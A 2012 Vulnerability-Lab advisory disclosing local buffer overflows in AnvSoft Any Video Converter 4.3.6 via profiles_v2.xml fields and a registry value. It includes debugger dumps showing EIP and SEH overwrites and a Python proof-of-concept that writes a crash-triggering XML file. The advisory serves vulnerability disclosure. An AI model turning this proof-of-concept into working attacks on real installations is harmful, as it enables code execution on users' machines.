AnvSoft Any Video Converter 4.3.6 – Multiple Buffer Overflows
Title: ====== AnvSoft Any Video Converter 4.3.6 - Multiple Buffer Overflow Date: ===== 2012-04-08 References: =========== http://www.vulnerability-lab.com/get_content.php?id=492 VL-ID: ===== 492 Introduction: ============= An all-in-one user-friendly DVD ripper, Video Record, video converter, YouTube Downloader, video editor and DVD burner, which helps you rip DVD and record/convert video for multimedia devices, like iPhone 4, iPad, iPod, Google Android, PSP, Nokia, Samsung Galaxy with lossless quality. Features Support conversion on all DVD variations, input formats and output formats, such as AVI, MP4, MPEG, MOV, WMV, 3GP, MKV, FLV, RMVB, WebM, MP3 etc. More... Record video and capture desktop activities. Screencast anything you see on screen. Support video conversion to iPhone, iPad, iPod, Apple TV, ePad, Samsung Galaxy S II, Amazon Kindle Fire etc. All other mobile devices: PS3, Blackberry, Xbox 360, Zune, Motorola Droid, etc. More... Download and convert YouTube and other online videos for portable devices. Burn videos to CD/DVD/Blu-ray disc with DVD customized menu. Convert 6 times faster with NVIDIA CUDA acceleration technology. More... Edit video: add subtitles, merge, clip, crop video and apply special effects. (Copy of the Vendor Homepage: http://www.any-video-converter.com ) Abstract: ========= A Vulnerability Laboratory Researcher discovered multiple Local Buffer Overflow vulnerabilities on AnvSoft Any Video Converter Free / Pro / Ultimate v4.3.6 Report-Timeline: ================ 2012-04-08: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== AnvSoft Product: Any Video Converter v4.3.6 Free|Pro|Ultimate Exploitation-Technique: ======================= Local Severity: ========= Critical Details: ======== Mulitple Buffer Overflow vulnerabilities are detected on AnvSoft Any Video Converter Free / Pro / Ultimate v4.3.6 (current version). The vulnerabilities are located in the main executeable `AVCUltimate.exe`. 1. When launching `AVCUltimate.exe`, it automatically reads the contents of the `profiles_v2.xml` from the application directory. The application does not validate the string length of different xml-fields before passing the content to a buffer, which could lead to a local buffer overflow. Nearly every item in the `profiles_v2.xml` is vulnerable. As an example: <category name=``[vuln]`` id=``0`` icon=``[vuln]`` desc=``[vuln]``/> <group name=``[vuln]`` icon=``[vuln]`` desc=``[vuln]`` in_category=`` all, [vuln]``/> <profile name=``[vuln]``> --- Debug Logs --- #Disassembly: 7C9132A6 FFD1 CALL ECX 7C9132A8 64:8B25 00000000 MOV ESP,DWORD PTR FS:[0] 7C9132AF 64:8F05 00000000 POP DWORD PTR FS:[0] 7C9132B6 8BE5 MOV ESP,EBP 7C9132B8 5D POP EBP 7C9132B9 C2 1400 RETN 14 7C9132BC 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 7C9132C0 F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6 7C9132C7 B8 01000000 MOV EAX,1 7C9132CC 75 12 JNZ SHORT ntdll.7C9132E0 7C9132CE 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 7C9132D2 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 7C9132D6 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8] 7C9132D9 8902 MOV DWORD PTR DS:[EDX],EAX 7C9132DB B8 02000000 MOV EAX,2 7C9132E0 C2 1000 RETN 10 #Registers: EAX 00000000 ECX 42424242 EDX 7C9132BC ntdll.7C9132BC EBX 00000000 ESP 00125608 EBP 00125628 ESI 00000000 EDI 00000000 EIP 42424242 #Dump: 00125EB4 41 41 41 41 41 41 41 41 AAAAAAAA 00125EBC 41 41 41 41 41 41 41 41 AAAAAAAA 00125EC4 41 41 41 41 41 41 41 41 AAAAAAAA 00125ECC 41 41 41 41 42 42 42 42 AAAABBBB 00125ED4 43 43 43 43 43 43 43 43 CCCCCCCC 00125EDC 43 43 43 43 43 43 43 43 CCCCCCCC 00125EE4 43 43 43 43 43 43 43 43 CCCCCCCC #Stack: 00125608 7C9132A8 RETURN to ntdll.7C9132A8 0012560C 001256F0 00125610 00125ECC ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 00125614 0012570C 00125618 001256C4 0012561C 00125ECC Pointer to next SEH record 00125620 7C9132BC SE handler 00125624 00125ECC ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 00125628 /001256D8 0012562C |7C91327A RETURN to ntdll.7C91327A from ntdll.7C913282 00125630 |001256F0 00125634 |00125ECC ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 00125638 |0012570C 0012563C |001256C4 00125640 |42424242 Picture(s): ../1.png 2. During the start of the application the value `OutputFolder` from the registry key [HKEY_CURRENT_USER/Software/AnvSoft/Any Video Converter Ultimate/Setting/Output] is read. The application does not validate the string length of the registry value before passing the content to a buffer, which could lead to a unicode-based local buffer overflow. Invalid parameter passed to C runtime function. Invalid parameter passed to C runtime function. (13f8.1620): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000041 ebx=035f8392 ecx=02ed0000 edx=035f799c esi=02ecf564 edi=02ecf128 eip=7701bcac esp=02ecf070 ebp=02ecf08c iopl=0 nv up ei pl nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010217 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C://Windows/syswow64/msvcrt.dll - msvcrt!vsnwprintf_l+0xbc: 7701bcac 668901 mov word ptr [ecx],ax ds:002b:02ed0000=???? 02ecfde0: /AnvSoft/Any Video Converter/VideoConverter.exe - VideoConverter+10041 (00410041) Invalid exception stack at 00410041 EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 02ed0000 WRITE_ADDRESS: 02ed0000 02ecf6b4 00200066 006f0076 006e006c 0072006f 0x61002d 02ecf6b8 006f0076 006e006c 0072006f 0020006d 0x200066 02ecf6bc 006e006c 0072006f 0020006d 00410041 0x6f0076 02ecf6c0 0072006f 0020006d 00410041 00410041 0x6e006c 02ecf6c4 0020006d 00410041 00410041 00410041 0x72006f 02ecf6c8 00410041 00410041 00410041 00410041 0x20006d 02ecf6cc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6d0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6d4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6d8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6dc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6e0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6e4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6e8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6ec 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6f0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6f4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6f8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6fc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf700 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf704 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf708 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf70c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf710 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf714 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf718 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf71c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf720 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf724 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf728 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf72c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf730 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf734 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf738 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf73c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf740 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf744 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf748 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf74c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf750 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf754 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf758 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf75c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf760 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf764 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf768 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf76c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf770 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf774 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf778 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf77c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf780 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf784 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf788 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf78c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf790 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf794 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf798 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf79c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7a0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7a4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7a8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7ac 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7b0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7b4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7b8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7bc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7c0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7c4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7c8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7cc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7d0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7d4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7d8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7dc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7e0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7e4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7e8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7ec 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7f0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7f4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7f8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7fc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf800 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf804 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf808 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf80c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf810 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf814 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf818 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf81c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf820 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf824 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf828 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf82c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf830 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf834 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf838 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf83c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf840 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf844 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf848 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf84c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf850 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf854 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf858 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf85c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf860 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf864 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf868 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf86c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf870 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf874 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf878 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf87c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf880 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf884 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf888 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf88c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf890 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf894 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf898 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf89c 00410041 00410041 00410041 00410041 VideoConverter+0x msvcrt!vsnwprintf_l+0xbc: 7701bcac 668901 mov word ptr [ecx],ax 7701bcaf 830602 add dword ptr [esi],2 7701bcb2 8b4dfc mov ecx,dword ptr [ebp-4] 7701bcb5 5f pop edi 7701bcb6 5e pop esi 7701bcb7 33cd xor ecx,ebp 7701bcb9 5b pop ebx 7701bcba e86adbffff call msvcrt!memset+0x99 (77019829) .exr 0xffffffffffffffff ExceptionAddress: 7701bcac (msvcrt!vsnwprintf_l+0x000000bc) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 02ed0000 Picture(s): ../2.png ../3.png Proof of Concept: ================= The locla buffer overflow vulnerabilities can be exploited by local attackers or restricted low privileged system accounts. For demonstration or reproduce ... #!/usr/bin/python # Exploit Title: AnvSoft Any Video Converter Free/Pro/Ultimate v4.3.6 Local Buffer Overflow # Version: 4.3.6 # Software Link: http://www.any-video-converter.com # Notes: Nearly all items in profiles_v2.xml are vulnerable # Howto: Copy profiles_v2.xml to App-Dir --> Launch file="profiles_v2.xml" junk1="\x41" * 332 boom="\x42\x42\x42\x42" junk2="\x43" * 100 poc="<root>\n" poc=poc + "<categories>\n" poc=poc + "<category name=\"" + junk1 + boom + junk2 + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n" poc=poc + "</categories>\n" poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n" try: print "[*] Creating exploit file...\n" writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!" except: print "[!] Error while creating file!" Risk: ===== The security risk of both local buffer oveflow vulnerabilities are estimated as critical. Credits: ======== Vulnerability Research Laboratory Team - Benjamin Kunz Mejri (Rem0ve) [www.vulnerability-lab.com] Vulnerability Research Laboratory Team - Julien Ahrens (MrTuxracer) [www.inshell.net] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright � 2012|Vulnerability-Lab -- VULNERABILITY RESEARCH LABORATORY TEAM Website: www.vulnerability-lab.com Mail: research@vulnerability-lab.com |